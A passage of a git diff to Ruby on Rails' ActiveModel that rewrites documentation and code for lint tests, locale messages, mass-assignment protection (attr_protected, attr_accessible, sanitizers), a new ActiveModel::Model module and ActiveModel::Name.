-    # call to to_model. It is perfectly fine for to_model to return self.
+    # Objects you pass in are expected to return a compliant object from a call
+    # to <tt>to_model</tt>. It is perfectly fine for <tt>to_model</tt> to return
+    # +self+.
     module Tests
 
       # == Responds to <tt>to_key</tt>
       #
       # Returns an Enumerable of all (primary) key attributes
-      # or nil if model.persisted? is false
+      # or nil if <tt>model.persisted?</tt> is false. This is used by
+      # <tt>dom_id</tt> to generate unique ids for the object.
       def test_to_key
         assert model.respond_to?(:to_key), "The model should respond to to_key"
         def model.persisted?() false end
@@ -29,13 +35,14 @@ module ActiveModel
       # == Responds to <tt>to_param</tt>
       #
       # Returns a string representing the object's key suitable for use in URLs
-      # or nil if model.persisted? is false.
+      # or +nil+ if <tt>model.persisted?</tt> is +false+.
       #
-      # Implementers can decide to either raise an exception or provide a default
-      # in case the record uses a composite primary key. There are no tests for this
-      # behavior in lint because it doesn't make sense to force any of the possible
-      # implementation strategies on the implementer. However, if the resource is
-      # not persisted?, then to_param should always return nil.
+      # Implementers can decide to either raise an exception or provide a
+      # default in case the record uses a composite primary key. There are no
+      # tests for this behavior in lint because it doesn't make sense to force
+      # any of the possible implementation strategies on the implementer.
+      # However, if the resource is not persisted?, then <tt>to_param</tt>
+      # should always return +nil+.
       def test_to_param
         assert model.respond_to?(:to_param), "The model should respond to to_param"
         def model.to_key() [1] end
@@ -45,30 +52,20 @@ module ActiveModel
 
       # == Responds to <tt>to_partial_path</tt>
       #
-      # Returns a string giving a relative path.  This is used for looking up
+      # Returns a string giving a relative path. This is used for looking up
       # partials. For example, a BlogPost model might return "blog_posts/blog_post"
-      #
       def test_to_partial_path
         assert model.respond_to?(:to_partial_path), "The model should respond to to_partial_path"
         assert_kind_of String, model.to_partial_path
       end
 
-      # == Responds to <tt>valid?</tt>
-      #
-      # Returns a boolean that specifies whether the object is in a valid or invalid
-      # state.
-      def test_valid?
-        assert model.respond_to?(:valid?), "The model should respond to valid?"
-        assert_boolean model.valid?, "valid?"
-      end
-
       # == Responds to <tt>persisted?</tt>
       #
-      # Returns a boolean that specifies whether the object has been persisted yet.
-      # This is used when calculating the URL for an object. If the object is
-      # not persisted, a form for that object, for instance, will be POSTed to the
-      # collection. If it is persisted, a form for the object will be PUT to the
-      # URL for the object.
+      # Returns a boolean that specifies whether the object has been persisted
+      # yet. This is used when calculating the URL for an object. If the object
+      # is not persisted, a form for that object, for instance, will route to
+      # the create action. If it is persisted, a form for the object will routes
+      # to the update action.
       def test_persisted?
         assert model.respond_to?(:persisted?), "The model should respond to persisted?"
         assert_boolean model.persisted?, "persisted?"
@@ -77,38 +74,28 @@ module ActiveModel
       # == Naming
       #
       # Model.model_name must return a string with some convenience methods:
-      # :human, :singular, and :plural. Check ActiveModel::Naming for more information.
-      #
+      # <tt>:human</tt>, <tt>:singular</tt> and <tt>:plural</tt>. Check
+      # ActiveModel::Naming for more information.
       def test_model_naming
         assert model.class.respond_to?(:model_name), "The model should respond to model_name"
         model_name = model.class.model_name
-        assert_kind_of String, model_name
-        assert_kind_of String, model_name.human
-        assert_kind_of String, model_name.singular
-        assert_kind_of String, model_name.plural
+        assert model_name.respond_to?(:to_str)
+        assert model_name.human.respond_to?(:to_str)
+        assert model_name.singular.respond_to?(:to_str)
+        assert model_name.plural.respond_to?(:to_str)
       end
 
       # == Errors Testing
       #
-      # Returns an object that has :[] and :full_messages defined on it. See below
-      # for more details.
-      #
-      # Returns an Array of Strings that are the errors for the attribute in
-      # question. If localization is used, the Strings should be localized
-      # for the current locale. If no error is present, this method should
-      # return an empty Array.
+      # Returns an object that implements [](attribute) defined which returns an
+      # Array of Strings that are the errors for the attribute in question.
+      # If localization is used, the Strings should be localized for the current
+      # locale. If no error is present, this method should return an empty Array.
       def test_errors_aref
         assert model.respond_to?(:errors), "The model should respond to errors"
         assert model.errors[:hello].is_a?(Array), "errors#[] should return an Array"
       end
 
-      # Returns an Array of all error messages for the object. Each message
-      # should contain information about the field, if applicable.
-      def test_errors_full_messages
-        assert model.respond_to?(:errors), "The model should respond to errors"
-        assert model.errors.full_messages.is_a?(Array), "errors#full_messages should return an Array"
-      end
-
       private
         def model
           assert @model.respond_to?(:to_model), "The object should respond_to to_model"
diff --git a/activemodel/lib/active_model/locale/en.yml b/activemodel/lib/active_model/locale/en.yml
index 44425b4a28..d17848c861 100644
--- a/activemodel/lib/active_model/locale/en.yml
+++ b/activemodel/lib/active_model/locale/en.yml
@@ -9,7 +9,7 @@ en:
       inclusion: "is not included in the list"
       exclusion: "is reserved"
       invalid: "is invalid"
-      confirmation: "doesn't match confirmation"
+      confirmation: "doesn't match %{attribute}"
       accepted: "must be accepted"
       empty: "can't be empty"
       blank: "can't be blank"
@@ -23,5 +23,6 @@ en:
       equal_to: "must be equal to %{count}"
       less_than: "must be less than %{count}"
       less_than_or_equal_to: "must be less than or equal to %{count}"
+      other_than: "must be other than %{count}"
       odd: "must be odd"
       even: "must be even"
diff --git a/activemodel/lib/active_model/mass_assignment_security.rb b/activemodel/lib/active_model/mass_assignment_security.rb
index 3f9feb7631..f9841abcb0 100644
--- a/activemodel/lib/active_model/mass_assignment_security.rb
+++ b/activemodel/lib/active_model/mass_assignment_security.rb
@@ -1,80 +1,82 @@
-require 'active_support/core_ext/class/attribute'
 require 'active_support/core_ext/string/inflections'
-require 'active_support/core_ext/array/wrap'
 require 'active_model/mass_assignment_security/permission_set'
 require 'active_model/mass_assignment_security/sanitizer'
 
 module ActiveModel
-  # = Active Model Mass-Assignment Security
+  # == Active Model Mass-Assignment Security
+  #
+  # Mass assignment security provides an interface for protecting attributes
+  # from end-user assignment. For more complex permissions, mass assignment
+  # security may be handled outside the model by extending a non-ActiveRecord
+  # class, such as a controller, with this behavior.
+  #
+  # For example, a logged in user may need to assign additional attributes
+  # depending on their role:
+  #
+  #   class AccountsController < ApplicationController
+  #     include ActiveModel::MassAssignmentSecurity
+  #
+  #     attr_accessible :first_name, :last_name
+  #     attr_accessible :first_name, :last_name, :plan_id, as: :admin
+  #
+  #     def update
+  #       ...
+  #       @account.update_attributes(account_params)
+  #       ...
+  #     end
+  #
+  #     protected
+  #
+  #     def account_params
+  #       role = admin ? :admin : :default
+  #       sanitize_for_mass_assignment(params[:account], role)
+  #     end
+  #
+  #   end
+  #
+  # === Configuration options
+  #
+  # * <tt>mass_assignment_sanitizer</tt> - Defines sanitize method. Possible
+  #   values are:
+  #   * <tt>:logger</tt> (default) - writes filtered attributes to logger
+  #   * <tt>:strict</tt> - raise <tt>ActiveModel::MassAssignmentSecurity::Error</tt>
+  #     on any protected attribute update.
+  #
+  # You can specify your own sanitizer object eg. <tt>MySanitizer.new</tt>.
+  # See <tt>ActiveModel::MassAssignmentSecurity::LoggerSanitizer</tt> for
+  # example implementation.
   module MassAssignmentSecurity
     extend ActiveSupport::Concern
 
     included do
-      class_attribute :_accessible_attributes
-      class_attribute :_protected_attributes
-      class_attribute :_active_authorizer
+      class_attribute :_accessible_attributes, instance_writer: false
+      class_attribute :_protected_attributes,  instance_writer: false
+      class_attribute :_active_authorizer,     instance_writer: false
 
-      class_attribute :_mass_assignment_sanitizer
+      class_attribute :_mass_assignment_sanitizer, instance_writer: false
       self.mass_assignment_sanitizer = :logger
     end
 
-    # Mass assignment security provides an interface for protecting attributes
-    # from end-user assignment. For more complex permissions, mass assignment security
-    # may be handled outside the model by extending a non-ActiveRecord class,
-    # such as a controller, with this behavior.
-    #
-    # For example, a logged in user may need to assign additional attributes depending
-    # on their role:
-    #
-    #   class AccountsController < ApplicationController
-    #     include ActiveModel::MassAssignmentSecurity
-    #
-    #     attr_accessible :first_name, :last_name
-    #     attr_accessible :first_name, :last_name, :plan_id, :as => :admin
-    #
-    #     def update
-    #       ...
-    #       @account.update_attributes(account_params)
-    #       ...
-    #     end
-    #
-    #     protected
-    #
-    #     def account_params
-    #       role = admin ? :admin : :default
-    #       sanitize_for_mass_assignment(params[:account], role)
-    #     end
-    #
-    #   end
-    #
-    # = Configuration options
-    #
-    # * <tt>mass_assignment_sanitizer</tt> - Defines sanitize method. Possible values are:
-    #   * <tt>:logger</tt> (default) - writes filtered attributes to logger
-    #   * <tt>:strict</tt> - raise <tt>ActiveModel::MassAssignmentSecurity::Error</tt> on any protected attribute update
-    #
-    # You can specify your own sanitizer object eg. MySanitizer.new.
-    # See <tt>ActiveModel::MassAssignmentSecurity::LoggerSanitizer</tt> for example implementation.
-    #
-    # 
     module ClassMethods
       # Attributes named in this macro are protected from mass-assignment
       # whenever attributes are sanitized before assignment. A role for the
-      # attributes is optional, if no role is provided then :default is used.
-      # A role can be defined by using the :as option.
+      # attributes is optional, if no role is provided then <tt>:default</tt>
+      # is used. A role can be defined by using the <tt>:as</tt> option with a
+      # symbol or an array of symbols as the value.
       #
       # Mass-assignment to these attributes will simply be ignored, to assign
       # to them you can use direct writer methods. This is meant to protect
       # sensitive attributes from being overwritten by malicious users
-      # tampering with URLs or forms. Example:
+      # tampering with URLs or forms.
       #
       #   class Customer
       #     include ActiveModel::MassAssignmentSecurity
       #
-      #     attr_accessor :name, :credit_rating
+      #     attr_accessor :name, :email, :logins_count
       #
-      #     attr_protected :credit_rating, :last_login
-      #     attr_protected :last_login, :as => :admin
+      #     attr_protected :logins_count
+      #     # Suppose that admin can not change email for customer
+      #     attr_protected :logins_count, :email, as: :admin
       #
       #     def assign_attributes(values, options = {})
       #       sanitize_for_mass_assignment(values, options[:as]).each do |k, v|
@@ -83,37 +85,38 @@ module ActiveModel
       #     end
       #   end
       #
-      # When using the :default role :
+      # When using the <tt>:default</tt> role:
       #
       #   customer = Customer.new
-      #   customer.assign_attributes({ "name" => "David", "credit_rating" => "Excellent", :last_login => 1.day.ago }, :as => :default)
-      #   customer.name          # => "David"
-      #   customer.credit_rating # => nil
-      #   customer.last_login    # => nil
-      #
-      #   customer.credit_rating = "Average"
-      #   customer.credit_rating # => "Average"
+      #   customer.assign_attributes({ name: 'David', email: 'a@b.com', logins_count: 5 }, as: :default)
+      #   customer.name         # => "David"
+      #   customer.email        # => "a@b.com"
+      #   customer.logins_count # => nil
       #
-      # And using the :admin role :
+      # And using the <tt>:admin</tt> role:
       #
       #   customer = Customer.new
-      #   customer.assign_attributes({ "name" => "David", "credit_rating" => "Excellent", :last_login => 1.day.ago }, :as => :admin)
-      #   customer.name          # => "David"
-      #   customer.credit_rating # => "Excellent"
-      #   customer.last_login    # => nil
+      #   customer.assign_attributes({ name: 'David', email: 'a@b.com', logins_count: 5}, as: :admin)
+      #   customer.name         # => "David"
+      #   customer.email        # => nil
+      #   customer.logins_count # => nil
+      #
+      #   customer.email = 'c@d.com'
+      #   customer.email # => "c@d.com"
       #
       # To start from an all-closed default and enable attributes as needed,
       # have a look at +attr_accessible+.
       #
-      # Note that using <tt>Hash#except</tt> or <tt>Hash#slice</tt> in place of +attr_protected+
-      # to sanitize attributes won't provide sufficient protection.
+      # Note that using <tt>Hash#except</tt> or <tt>Hash#slice</tt> in place of
+      # +attr_protected+ to sanitize attributes provides basically the same
+      # functionality, but it makes a bit tricky to deal with nested attributes.
       def attr_protected(*args)
         options = args.extract_options!
         role = options[:as] || :default
 
         self._protected_attributes = protected_attributes_configs.dup
 
-        Array.wrap(role).each do |name|
+        Array(role).each do |name|
           self._protected_attributes[name] = self.protected_attributes(name) + args
         end
 
@@ -124,8 +127,9 @@ module ActiveModel
       # mass-assignment.
       #
       # Like +attr_protected+, a role for the attributes is optional,
-      # if no role is provided then :default is used. A role can be defined by
-      # using the :as option.
+      # if no role is provided then <tt>:default</tt> is used. A role can be
+      # defined by using the <tt>:as</tt> option with a symbol or an array of
+      # symbols as the value.
       #
       # This is the opposite of the +attr_protected+ macro: Mass-assignment
       # will only set attributes in this list, to assign to the rest of
@@ -140,8 +144,10 @@ module ActiveModel
       #
       #     attr_accessor :name, :credit_rating
       #
-      #     attr_accessible :name
-      #     attr_accessible :name, :credit_rating, :as => :admin
+      #     # Both admin and default user can change name of a customer
+      #     attr_accessible :name, as: [:admin, :default]
+      #     # Only admin can change credit rating of a customer
+      #     attr_accessible :credit_rating, as: :admin
       #
       #     def assign_attributes(values, options = {})
       #       sanitize_for_mass_assignment(values, options[:as]).each do |k, v|
@@ -150,55 +156,164 @@ module ActiveModel
       #     end
       #   end
       #
-      # When using the :default role :
+      # When using the <tt>:default</tt> role:
       #
       #   customer = Customer.new
-      #   customer.assign_attributes({ "name" => "David", "credit_rating" => "Excellent", :last_login => 1.day.ago }, :as => :default)
+      #   customer.assign_attributes({ name: 'David', credit_rating: 'Excellent', last_login: 1.day.ago }, as: :default)
       #   customer.name          # => "David"
       #   customer.credit_rating # => nil
       #
-      #   customer.credit_rating = "Average"
+      #   customer.credit_rating = 'Average'
       #   customer.credit_rating # => "Average"
       #
-      # And using the :admin role :
+      # And using the <tt>:admin</tt> role:
       #
       #   customer = Customer.new
-      #   customer.assign_attributes({ "name" => "David", "credit_rating" => "Excellent", :last_login => 1.day.ago }, :as => :admin)
+      #   customer.assign_attributes({ name: 'David', credit_rating: 'Excellent', last_login: 1.day.ago }, as: :admin)
       #   customer.name          # => "David"
       #   customer.credit_rating # => "Excellent"
       #
-      # Note that using <tt>Hash#except</tt> or <tt>Hash#slice</tt> in place of +attr_accessible+
-      # to sanitize attributes won't provide sufficient protection.
+      # Note that using <tt>Hash#except</tt> or <tt>Hash#slice</tt> in place of
+      # +attr_accessible+ to sanitize attributes provides basically the same
+      # functionality, but it makes a bit tricky to deal with nested attributes.
       def attr_accessible(*args)
         options = args.extract_options!
         role = options[:as] || :default
 
         self._accessible_attributes = accessible_attributes_configs.dup
 
-        Array.wrap(role).each do |name|
+        Array(role).each do |name|
           self._accessible_attributes[name] = self.accessible_attributes(name) + args
         end
 
         self._active_authorizer = self._accessible_attributes
       end
 
+      # Returns an instance of <tt>ActiveModel::MassAssignmentSecurity::BlackList</tt>
+      # with the attributes protected by #attr_protected method. If no +role+
+      # is provided, then <tt>:default</tt> is used.
+      #
+      #   class Customer
+      #     include ActiveModel::MassAssignmentSecurity
+      #
+      #     attr_accessor :name, :email, :logins_count
+      #
+      #     attr_protected :logins_count
+      #     attr_protected :logins_count, :email, as: :admin
+      #   end
+      #
+      #   Customer.protected_attributes
+      #   # => #<ActiveModel::MassAssignmentSecurity::BlackList: {"logins_count"}>
+      #
+      #   Customer.protected_attributes(:default)
+      #   # => #<ActiveModel::MassAssignmentSecurity::BlackList: {"logins_count"}>
+      #
+      #   Customer.protected_attributes(:admin)
+      #   # => #<ActiveModel::MassAssignmentSecurity::BlackList: {"logins_count", "email"}>
       def protected_attributes(role = :default)
         protected_attributes_configs[role]
       end
 
+      # Returns an instance of <tt>ActiveModel::MassAssignmentSecurity::WhiteList</tt>
+      # with the attributes protected by #attr_accessible method. If no +role+
+      # is provided, then <tt>:default</tt> is used.
+      #
+      #   class Customer
+      #     include ActiveModel::MassAssignmentSecurity
+      #
+      #     attr_accessor :name, :credit_rating
+      #
+      #     attr_accessible :name, as: [:admin, :default]
+      #     attr_accessible :credit_rating, as: :admin
+      #   end
+      #
+      #   Customer.accessible_attributes
+      #   # => #<ActiveModel::MassAssignmentSecurity::WhiteList: {"name"}>
+      #
+      #   Customer.accessible_attributes(:default)
+      #   # => #<ActiveModel::MassAssignmentSecurity::WhiteList: {"name"}>
+      #
+      #   Customer.accessible_attributes(:admin)
+      #   # => #<ActiveModel::MassAssignmentSecurity::WhiteList: {"name", "credit_rating"}>
       def accessible_attributes(role = :default)
         accessible_attributes_configs[role]
       end
 
+      # Returns a hash with the protected attributes (by #attr_accessible or
+      # #attr_protected) per role.
+      #
+      #   class Customer
+      #     include ActiveModel::MassAssignmentSecurity
+      #
+      #     attr_accessor :name, :credit_rating
+      #
+      #     attr_accessible :name, as: [:admin, :default]
+      #     attr_accessible :credit_rating, as: :admin
+      #   end
+      #
+      #   Customer.active_authorizers
+      #   # => {
+      #   #       :admin=> #<ActiveModel::MassAssignmentSecurity::WhiteList: {"name", "credit_rating"}>,
+      #   #       :default=>#<ActiveModel::MassAssignmentSecurity::WhiteList: {"name"}>
+      #   #    }
       def active_authorizers
         self._active_authorizer ||= protected_attributes_configs
       end
       alias active_authorizer active_authorizers
 
+      # Returns an empty array by default. You can still override this to define
+      # the default attributes protected by #attr_protected method.
+      #
+      #   class Customer
+      #     include ActiveModel::MassAssignmentSecurity
+      #
+      #     def self.attributes_protected_by_default
+      #       [:name]
+      #     end
+      #   end
+      #
+      #   Customer.protected_attributes
+      #   # => #<ActiveModel::MassAssignmentSecurity::BlackList: {:name}>
       def attributes_protected_by_default
         []
       end
 
+      # Defines sanitize method.
+      #
+      #   class Customer
+      #     include ActiveModel::MassAssignmentSecurity
+      #
+      #     attr_accessor :name
+      #
+      #     attr_protected :name
+      #
+      #     def assign_attributes(values)
+      #       sanitize_for_mass_assignment(values).each do |k, v|
+      #         send("#{k}=", v)
+      #       end
+      #     end
+      #   end
+      #
+      #   # See ActiveModel::MassAssignmentSecurity::StrictSanitizer for more information.
+      #   Customer.mass_assignment_sanitizer = :strict
+      #
+      #   customer = Customer.new
+      #   customer.assign_attributes(name: 'David')
+      #   # => ActiveModel::MassAssignmentSecurity::Error: Can't mass-assign protected attributes for Customer: name
+      #
+      # Also, you can specify your own sanitizer object.
+      #
+      #   class CustomSanitizer < ActiveModel::MassAssignmentSecurity::Sanitizer
+      #     def process_removed_attributes(klass, attrs)
+      #       raise StandardError
+      #     end
+      #   end
+      #
+      #   Customer.mass_assignment_sanitizer = CustomSanitizer.new
+      #
+      #   customer = Customer.new
+      #   customer.assign_attributes(name: 'David')
+      #   # => StandardError: StandardError
       def mass_assignment_sanitizer=(value)
         self._mass_assignment_sanitizer = if value.is_a?(Symbol)
           const_get(:"#{value.to_s.camelize}Sanitizer").new(self)
@@ -224,12 +339,12 @@ module ActiveModel
 
   protected
 
-    def sanitize_for_mass_assignment(attributes, role = :default)
-      _mass_assignment_sanitizer.sanitize(attributes, mass_assignment_authorizer(role))
+    def sanitize_for_mass_assignment(attributes, role = nil) #:nodoc:
+      _mass_assignment_sanitizer.sanitize(self.class, attributes, mass_assignment_authorizer(role))
     end
 
-    def mass_assignment_authorizer(role = :default)
-      self.class.active_authorizer[role]
+    def mass_assignment_authorizer(role) #:nodoc:
+      self.class.active_authorizer[role || :default]
     end
   end
 end
diff --git a/activemodel/lib/active_model/mass_assignment_security/permission_set.rb b/activemodel/lib/active_model/mass_assignment_security/permission_set.rb
index a1fcdf1a38..f104d0306c 100644
--- a/activemodel/lib/active_model/mass_assignment_security/permission_set.rb
+++ b/activemodel/lib/active_model/mass_assignment_security/permission_set.rb
@@ -2,10 +2,10 @@ require 'set'
 
 module ActiveModel
   module MassAssignmentSecurity
-    class PermissionSet < Set
+    class PermissionSet < Set #:nodoc:
 
       def +(values)
-        super(values.map(&:to_s))
+        super(values.compact.map(&:to_s))
       end
 
       def include?(key)
@@ -13,7 +13,7 @@ module ActiveModel
       end
 
       def deny?(key)
-        raise NotImplementedError, "#deny?(key) suppose to be overwritten"
+        raise NotImplementedError, "#deny?(key) supposed to be overwritten"
       end
 
     protected
@@ -23,14 +23,14 @@ module ActiveModel
       end
     end
 
-    class WhiteList < PermissionSet
+    class WhiteList < PermissionSet #:nodoc:
 
       def deny?(key)
         !include?(key)
       end
     end
 
-    class BlackList < PermissionSet
+    class BlackList < PermissionSet #:nodoc:
 
       def deny?(key)
         include?(key)
diff --git a/activemodel/lib/active_model/mass_assignment_security/sanitizer.rb b/activemodel/lib/active_model/mass_assignment_security/sanitizer.rb
index bbdddfb50d..dafb7cdff3 100644
--- a/activemodel/lib/active_model/mass_assignment_security/sanitizer.rb
+++ b/activemodel/lib/active_model/mass_assignment_security/sanitizer.rb
@@ -1,51 +1,63 @@
-require 'active_support/core_ext/module/delegation'
-
 module ActiveModel
   module MassAssignmentSecurity
-    class Sanitizer
-      def initialize(target=nil)
-      end
-
+    class Sanitizer #:nodoc:
       # Returns all attributes not denied by the authorizer.
-      def sanitize(attributes, authorizer)
-        sanitized_attributes = attributes.reject { |key, value| authorizer.deny?(key) }
-        debug_protected_attribute_removal(attributes, sanitized_attributes)
+      def sanitize(klass, attributes, authorizer)
+        rejected = []
+        sanitized_attributes = attributes.reject do |key, value|
+          rejected << key if authorizer.deny?(key)
+        end
+        process_removed_attributes(klass, rejected) unless rejected.empty?
         sanitized_attributes
       end
 
     protected
 
-      def debug_protected_attribute_removal(attributes, sanitized_attributes)
-        removed_keys = attributes.keys - sanitized_attributes.keys
-        process_removed_attributes(removed_keys) if removed_keys.any?
-      end
-
-      def process_removed_attributes(attrs)
+      def process_removed_attributes(klass, attrs)
         raise NotImplementedError, "#process_removed_attributes(attrs) suppose to be overwritten"
       end
     end
 
-    class LoggerSanitizer < Sanitizer
-      delegate :logger, :to => :@target
-
+    class LoggerSanitizer < Sanitizer #:nodoc:
       def initialize(target)
         @target = target
-        super
+        super()
+      end
+
+      def logger
+        @target.logger
       end
 
       def logger?
         @target.respond_to?(:logger) && @target.logger
       end
 
-      def process_removed_attributes(attrs)
-        logger.debug "WARNING: Can't mass-assign protected attributes: #{attrs.join(', ')}" if logger?
+      def backtrace
+        if defined? Rails
+          Rails.backtrace_cleaner.clean(caller)
+        else
+          caller
+        end
+      end
+
+      def process_removed_attributes(klass, attrs)
+        if logger?
+          logger.warn do
+            "WARNING: Can't mass-assign protected attributes for #{klass.name}: #{attrs.join(', ')}\n" +
+                backtrace.map { |trace| "\t#{trace}" }.join("\n")
+          end
+        end
       end
     end
 
-    class StrictSanitizer < Sanitizer
-      def process_removed_attributes(attrs)
+    class StrictSanitizer < Sanitizer #:nodoc:
+      def initialize(target = nil)
+        super()
+      end
+
+      def process_removed_attributes(klass, attrs)
         return if (attrs - insensitive_attributes).empty?
-        raise ActiveModel::MassAssignmentSecurity::Error, "Can't mass-assign protected attributes: #{attrs.join(', ')}"
+        raise ActiveModel::MassAssignmentSecurity::Error.new(klass, attrs)
       end
 
       def insensitive_attributes
@@ -53,7 +65,10 @@ module ActiveModel
       end
     end
 
-    class Error < StandardError
+    class Error < StandardError #:nodoc:
+      def initialize(klass, attrs)
+        super("Can't mass-assign protected attributes for #{klass.name}: #{attrs.join(', ')}")
+      end
     end
   end
 end
diff --git a/activemodel/lib/active_model/model.rb b/activemodel/lib/active_model/model.rb
new file mode 100644
index 0000000000..33a530e6bd
--- /dev/null
+++ b/activemodel/lib/active_model/model.rb
@@ -0,0 +1,97 @@
+module ActiveModel
+
+  # == Active Model Basic Model
+  #
+  # Includes the required interface for an object to interact with
+  # <tt>ActionPack</tt>, using different <tt>ActiveModel</tt> modules.
+  # It includes model name introspections, conversions, translations and
+  # validations. Besides that, it allows you to initialize the object with a
+  # hash of attributes, pretty much like <tt>ActiveRecord</tt> does.
+  #
+  # A minimal implementation could be:
+  #
+  #   class Person
+  #     include ActiveModel::Model
+  #     attr_accessor :name, :age
+  #   end
+  #
+  #   person = Person.new(name: 'bob', age: '18')
+  #   person.name # => 'bob'
+  #   person.age  # => 18
+  #
+  # Note that, by default, <tt>ActiveModel::Model</tt> implements <tt>persisted?</tt>
+  # to return +false+, which is the most common case. You may want to override
+  # it in your class to simulate a different scenario:
+  #
+  #   class Person
+  #     include ActiveModel::Model
+  #     attr_accessor :id, :name
+  #
+  #     def persisted?
+  #       self.id == 1
+  #     end
+  #   end
+  #
+  #   person = Person.new(id: 1, name: 'bob')
+  #   person.persisted? # => true
+  #
+  # Also, if for some reason you need to run code on <tt>initialize</tt>, make
+  # sure you call +super+ if you want the attributes hash initialization to
+  # happen.
+  #
+  #   class Person
+  #     include ActiveModel::Model
+  #     attr_accessor :id, :name, :omg
+  #
+  #     def initialize(attributes={})
+  #       super
+  #       @omg ||= true
+  #     end
+  #   end
+  #
+  #   person = Person.new(id: 1, name: 'bob')
+  #   person.omg # => true
+  #
+  # For more detailed information on other functionalities available, please
+  # refer to the specific modules included in <tt>ActiveModel::Model</tt>
+  # (see below).
+  module Model
+    def self.included(base) #:nodoc:
+      base.class_eval do
+        extend  ActiveModel::Naming
+        extend  ActiveModel::Translation
+        include ActiveModel::Validations
+        include ActiveModel::Conversion
+      end
+    end
+
+    # Initializes a new model with the given +params+.
+    #
+    #   class Person
+    #     include ActiveModel::Model
+    #     attr_accessor :name, :age
+    #   end
+    #
+    #   person = Person.new(name: 'bob', age: '18')
+    #   person.name # => "bob"
+    #   person.age  # => 18
+    def initialize(params={})
+      params.each do |attr, value|
+        self.public_send("#{attr}=", value)
+      end if params
+    end
+
+    # Indicates if the model is persisted. Default is +false+.
+    #
+    #  class Person
+    #    include ActiveModel::Model
+    #    attr_accessor :id, :name
+    #  end
+    #
+    #  person = Person.new(id: 1, name: 'bob')
+    #  person.persisted? # => false
+    def persisted?
+      false
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/naming.rb b/activemodel/lib/active_model/naming.rb
index f16459ede2..c0d93e5d53 100644
--- a/activemodel/lib/active_model/naming.rb
+++ b/activemodel/lib/active_model/naming.rb
@@ -1,34 +1,174 @@
 require 'active_support/inflector'
 require 'active_support/core_ext/hash/except'
 require 'active_support/core_ext/module/introspection'
-require 'active_support/core_ext/module/deprecation'
 
 module ActiveModel
-  class Name < String
-    attr_reader :singular, :plural, :element, :collection, :partial_path, :route_key, :param_key, :i18n_key
+  class Name
+    include Comparable
+
+    attr_reader :singular, :plural, :element, :collection,
+      :singular_route_key, :route_key, :param_key, :i18n_key,
+      :name
+
     alias_method :cache_key, :collection
 
-    deprecate :partial_path => "ActiveModel::Name#partial_path is deprecated. Call #to_partial_path on model instances directly instead."
+    ##
+    # :method: ==
+    #
+    # :call-seq:
+    #   ==(other)
+    #
+    # Equivalent to <tt>String#==</tt>. Returns +true+ if the class name and
+    # +other+ are equal, otherwise +false+.
+    #
+    #   class BlogPost
+    #     extend ActiveModel::Naming
+    #   end
+    #
+    #   BlogPost.model_name == 'BlogPost'  # => true
+    #   BlogPost.model_name == 'Blog Post' # => false
+
+    ##
+    # :method: ===
+    #
+    # :call-seq:
+    #   ===(other)
+    #
+    # Equivalent to <tt>#==</tt>.
+    #
+    #   class BlogPost
+    #     extend ActiveModel::Naming
+    #   end
+    #
+    #   BlogPost.model_name === 'BlogPost'  # => true
+    #   BlogPost.model_name === 'Blog Post' # => false
+
+    ##
+    # :method: <=>
+    #
+    # :call-seq:
+    #   ==(other)
+    #
+    # Equivalent to <tt>String#<=></tt>.
+    #
+    #   class BlogPost
+    #     extend ActiveModel::Naming
+    #   end
+    #
+    #   BlogPost.model_name <=> 'BlogPost'  # => 0
+    #   BlogPost.model_name <=> 'Blog'      # => 1
+    #   BlogPost.model_name <=> 'BlogPosts' # => -1
+
+    ##
+    # :method: =~
+    #
+    # :call-seq:
+    #   =~(regexp)
+    #
+    # Equivalent to <tt>String#=~</tt>. Match the class name against the given
+    # regexp. Returns the position where the match starts or +nil+ if there is
+    # no match.
+    #
+    #   class BlogPost
+    #     extend ActiveModel::Naming
+    #   end
+    #
+    #   BlogPost.model_name =~ /Post/ # => 4
+    #   BlogPost.model_name =~ /\d/   # => nil
 
+    ##
+    # :method: !~
+    #
+    # :call-seq:
+    #   !~(regexp)
+    #
+    # Equivalent to <tt>String#!~</tt>. Match the class name against the given
+    # regexp. Returns +true+ if there is no match, otherwise +false+.
+    #
+    #   class BlogPost
+    #     extend ActiveModel::Naming
+    #   end
+    #
+    #   BlogPost.model_name !~ /Post/ # => false
+    #   BlogPost.model_name !~ /\d/   # => true
+
+    ##
+    # :method: eql?
+    #
+    # :call-seq:
+    #   eql?(other)
+    #
+    # Equivalent to <tt>String#eql?</tt>. Returns +true+ if the class name and
+    # +other+ have the same length and content, otherwise +false+.
+    #
+    #   class BlogPost
+    #     extend ActiveModel::Naming
+    #   end
+    #
+    #   BlogPost.model_name.eql?('BlogPost')  # => true
+    #   BlogPost.model_name.eql?('Blog Post') # => false
+
+    ##
+    # :method: to_s
+    #
+    # :call-seq:
+    #   to_s()
+    #
+    # Returns the class name.
+    #
+    #   class BlogPost
+    #     extend ActiveModel::Naming
+    #   end
+    #
+    #   BlogPost.model_name.to_s # => "BlogPost"
+
+    ##
+    # :method: to_str
+    #
+    # :call-seq:
+    #   to_str()
+    #
+    # Equivalent to +to_s+.
+    delegate :==, :===, :<=>, :=~, :"!~", :eql?, :to_s,
+             :to_str, :to => :name
+
+    # Returns a new ActiveModel::Name instance. By default, the +namespace+
+    # and +name+ option will take the namespace and name of the given class
+    # respectively.
+    #
+    #   module Foo
+    #     class Bar
+    #     end
+    #   end
+    #
+    #   ActiveModel::Name.new(Foo::Bar).to_s
+    #   # => "Foo::Bar"
     def initialize(klass, namespace = nil, name = nil)
-      name ||= klass.name
-      super(name)
-      @unnamespaced = self.sub(/^#{namespace.name}::/, '') if namespace
-
-      @klass = klass
-      @singular = _singularize(self).freeze
-      @plural = ActiveSupport::Inflector.pluralize(@singular).freeze
-      @element = ActiveSupport::Inflector.underscore(ActiveSupport::Inflector.demodulize(self)).freeze
-      @human = ActiveSupport::Inflector.humanize(@element).freeze
-      @collection = ActiveSupport::Inflector.tableize(self).freeze
-      @partial_path = "#{@collection}/#{@element}".freeze
-      @param_key = (namespace ? _singularize(@unnamespaced) : @singular).freeze
-      @route_key = (namespace ? ActiveSupport::Inflector.pluralize(@param_key) : @plural).freeze
-      @i18n_key = self.underscore.to_sym
+      @name = name || klass.name
+
+      raise ArgumentError, "Class name cannot be blank. You need to supply a name argument when anonymous class given" if @name.blank?
+
+      @unnamespaced = @name.sub(/^#{namespace.name}::/, '') if namespace
+      @klass        = klass
+      @singular     = _singularize(@name)
+      @plural       = ActiveSupport::Inflector.pluralize(@singular)
+      @element      = ActiveSupport::Inflector.underscore(ActiveSupport::Inflector.demodulize(@name))
